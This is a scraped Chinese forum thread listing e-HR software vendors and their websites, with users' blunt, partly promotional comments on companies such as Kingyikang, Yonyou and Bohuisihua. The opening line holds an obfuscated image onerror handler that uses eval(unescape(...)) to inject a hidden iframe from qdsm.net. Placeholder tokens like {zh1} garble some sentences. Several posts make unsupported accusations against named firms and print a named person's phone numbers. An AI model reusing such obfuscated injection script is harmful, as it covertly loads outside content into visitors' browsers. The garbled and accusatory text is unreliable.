ehr

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

(排名不分先后)

嘉扬 http://www.kayang.com.cn
易联创新 http://www.j2link.com/index.html
天时智成 http://www.myup.com.cn
太阳帆 http://www.esunsail.com
晋兴人力资源系统有限公司 http://www.mrchr.com
博惠思华 http://www.sophia.com.cn
宏景世纪 http://www.hrp2000.com
朗新天霁 http://www.hrsoft.com.cn
万古 http://www.vgtech.com.cn
奇正 http://www.strategy.com.cn
上海辉恒 http://www.huihengsh.com
中信网络 http://www.icitic.com:81
金马软件机构myhr http://www.myhr.com.cn/
金益康 http://www.yksoft.com
国臣 http://www.gc-isoft.com
北京亿清网杰软件 http://www.netelit.com.cn
北京恒强科技公司 http://www.ihr.com.cn
极通E-HR软件 http://www.jotunsoft.com
顶点管理顾问有限公司 http://bjtoppoint.com
贝士达信息技术有限公司 http://www.bestarit.com
上海久孚商务咨询有限公司 http://www.faithi.cn
施特伟科技（中国） http://www.cityray.com
仁科(上海） http://www.renke.com.cn
利玛软件信息技术有限公司 http://www.britc.com http://www.e-hrms.com:9999/h
铂金（中国）有限公司 http://www.platinumchina.com
mySAP 人力资源软件 http://www.sapchina.com/
IBM中国有限公司 http://www.ibm.com/cn/
PeopleSoft 仁科中国公司 http://www.peoplesoft.com/cn/zh/
逐鹿系统集成（苏州） http://www.BenQGuru.com
科惠人力资源软件 http://www.comwaysoft.com
东软e-HR系统 http://www.neusoft.com
大汉成吉科技发展有限公司 http://www.gksystem.com/

-------------------------------
我的评价:
金益康是老牌,国内其他HR厂商都有金益康的人才
用友是投机户,看有利就进,没有就撤
东软是雷公,光打雷,不下雨
铂金是销售员,仅代理别人的东西
博惠思华是坏蛋,业界反映极差,为打单不择手段
嘉扬是服务员,服务还不错,但离了他,什么也干不了.与其买他们的软件,不如雇佣他们的人.
其他的.....,大家说说看


------------------

阁下说得很有意思.

------------------

有见解

------------------

有意思

------------------

有些广告嫌疑


------------------

5楼的root老兄说的话好没道理，不知是不是点到了贵公司了。你没有必要对我的评价进行评价，只需对我列出的公司进行评价

------------------

广东卧龙在线软件有限公司http://www.ehrsoft.cn/

------------------

厉害！关键是实力！嘿嘿。。。。。

------------------

描述地非常生动！

不过现在，HR现状的确如此！

对任何一个厂商，关键是谁能坚持到{zh1}，并真正提供高质量的产品和服务给用户。

一切都是靠市场和用户来评价的！

------------------

有多了一个：
南大苏富特新虞软件有限公司 http://www.newease.com

------------------

又多了一个
中科振兴信息技术有限公司 http://www.zkzx.com.cn
这么多公司的加入到底是幸还是不幸

------------------

有意思。感觉象“战国时代”。

------------------

这样多的公司加入导致市场的混乱和无效消耗，大公司应该挺身而出，清理市场，不过并购对象一定要精心选择。用友收购硕望实在是失策，到现在已经贴进去4000多万，这种垃圾公司收购它有何有。4000多万恐怕可以控股金益康公司了，这种投入肯定物有所值。本人不能不质疑王文京的战略头脑。

------------------

这样多的公司加入导致市场的混乱和无效消耗，大公司应该挺身而出，清理市场，不过并购对象一定要精心选择。用友收购硕望实在是失策，到现在已经贴进去4000多万，这种垃圾公司收购它有何有。4000多万恐怕可以控股金益康公司了，这种投入肯定物有所值。本人不能不质疑王文京的战略头脑。

------------------

我觉得施特伟做得也挺不错的呀。

------------------

汪斌兄，最近频繁的出手，抨击用友，不知是何方神圣啊，请联系我MSN:coffeeling419@hotmail.com

------------------

有进来几家公司：
来网人力资源管理软件系统 http://www.lailailai.com/
深圳市科艺嘉公司 http://www.szkyj.com/
维能信人力资源管理系统 http://www.szwnx.com/
悦来人力资源管理系统 http://www.yuelaikeji.com/
深圳市行天企业管理策划有限公司 http://www.sintere.com.cn/
这么多公司的介入，用户肯定无从下手，上ehr就像xx，不知道那家公司会继续存在下去。大公司应该显示出其决心和实力，让用户放心，这样用户才能相信你。用友这二年做的实在不好，撤销ehr事业部让用户惊慌不安。sunny.lau其实不必着急解释什么，只要你们做的好，用户自然还会相信你们。凭用友的地位和实力，应该可以做的很好，但没做到，你们应该更多地发现自身的问题，并不断的改进，可不能像中国足球一样啊。我对用友还是有相当信任的。

------------------

就如歌曲所唱：“没有你在我有些烦恼”，从客户的选型角度来说，用友确确实实帮助大家认清EHR的本质。用友不是撤销ehr事业部，而是整合NC平台的资源，把更多的资源下放到六个大区，顾问到前线蹲点。从集团的角度来看，今年是用友eHR发展的一年，我们需要更多的资源配合前线市场的开拓。

------------------

用友的eHR有哪些优势呢，在这里，我们不妨再重复的跟楼主交流一些，{dy}优势：来源于重金收购的深圳硕旺公司，带来人力资源管理产品的的理念和思路，硕旺作为一个HR咨询的主体，跟国际上大型的公司，如麦肯锡、华信惠悦、翰威特可以比拟，不是金益康、朗新、金碟所能比及，所以我们收购硕旺而不是金益康。第二优势：来源于用友独立开发的NC-ERP产品的平台叫UAP，投资1.2亿，集800位Java研发人员15年的心血，是目前国内{zd0}的管理软件平台，用友作为一家有长远发展和专注领域的上市公司，HR已经作为我们第二个财务软件来发展，目前有着国内{zd0}的用户群和研发服务队伍，成熟的技术和成熟的管理业务经验和顾问，代表国际上HR软件的发展方向。第三优势：集团企业的集中化管理，B/S支持跨地域的应用，与目前用友财务系统无缝集成。

------------------

同意17楼观点，用户只有评论，18楼有点“老黄卖瓜，自卖自夸”了，硕旺产品有其优势，但不在集团而在流程方面；另18楼有个问题：集800位Java研发人员15年的心血开发出来的ERP认业内人看了笑话大了，15年前中国几位精通JAVA，800位研发人员吹了没边了

------------------

又发现一个
安网科技 http://www.annet.com.cn
如果漏掉了那个公司，欢迎大家跟贴。这里应该有国内所有厂商的列表

------------------

看看这些家公司的网站就知道，上半年业绩非常差，签单很少。下半年，各个厂商就会争个头破血流的，各种手段都会使用的。用户可要担心呀！

------------------

感谢楼主这么细心，我们辉恒公司是一家视软件业为服务业的HR软件供应商，目前用户有十几家，希望有机会可以和大家广泛交流。

------------------

够无聊的。。呵呵。。争这个干吗。市场是分层次和对象的，就算产品本身也有NICHE MARKET。E-HR软件只不过是个切入点而已，没几个真正能把公司的HR SERVICE外包服务拿到。真正的利润在这，老盯着卖几套软件，才有多少价值。现在好多软件是一堆肉堆起来的，就是功能导向。把一堆功能放在一起，没骨头。更别指望这个软件能象人一样走路了，帮着别人扛东西了，办事了。还是抽出点时间多学学HR的实务和流程吧，抽点时间讨论一下软件本身的功能，流程，和企业的战略方面的结合。这个更有意义些。

------------------

博惠思华是坏蛋?我觉得楼主言过其实了吧.我曾同他们的业务员接触过,虽然还没用他们的产品,但觉得他们的待人处世还是挺不错的,这里要为他们说句公道话!

------------------

博惠思华是坏蛋?我觉得楼主言过其实了吧.我曾同他们的业务员接触过,虽然还没用他们的产品,但觉得他们的待人处世还是挺不错的,这里要为他们说句公道话!

------------------

博惠思华的主要问题表现
1、为打单不择手段
2、承揽的项目很少通过验收
为此，他们原来的总经理（申刚正）还下了台，总部从上海移到了深圳。

饼干老弟太年轻了，评判开发商到底是好是坏是在签单后。虽然对用户而言，有些太晚了。建议老弟问一下他们最近的签单情况，找个他们用户问一下情况。

另外找他聊聊：
电话：010-82845339/4561/5054/4407 申刚正

------------------

做广告谁不会啊！我也来做做！
斑竹！水平太差了，这么小的专栏都维护不好，你看看前面的贴子，叫人恶心！
这里变成了垃圾场！做HR行业的素质这么低怎么能写出好的软件0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="http://www.hrsalon.com/images/2004619fly.gif">

------------------

做ＨＲ的，说到底就是混子呀


------------------

又多了几个
深圳市世和软件技术有限公司 http://www.softecase.com
智科 http://www.geniustek.com
上海今升科技发展有限公司 http://www.dreamsoft.com.cn
武汉华冠信息技术有限公司 http://www.ehg.cn
晕菜！


------------------

太乱了

------------------

博惠思华的总部在深圳还是北京啊？

------------------

这个公司让人搞不懂。宣传上说是在北京，内部人说在深圳，有资深人士称正在从北京迁往深圳。其实总部在那不重要，看看他们网站就知道2004年的业绩有多差，要不是证大集团有钱，这个公司都死n回了。

------------------

嘉扬是服务员,服务还不错,但离了他,什么也干不了.与其买他们的软件,不如雇佣他们的人
这个我很是同意，前阶段，嘉扬上了一个4000人的项目，软件8万，分五期收款，据说2个人在那呆了三个月了，还在弄，

------------------

真想认识写做E-HR的朋友呀。电话交流比这里更好

jili8424@sina.com.CN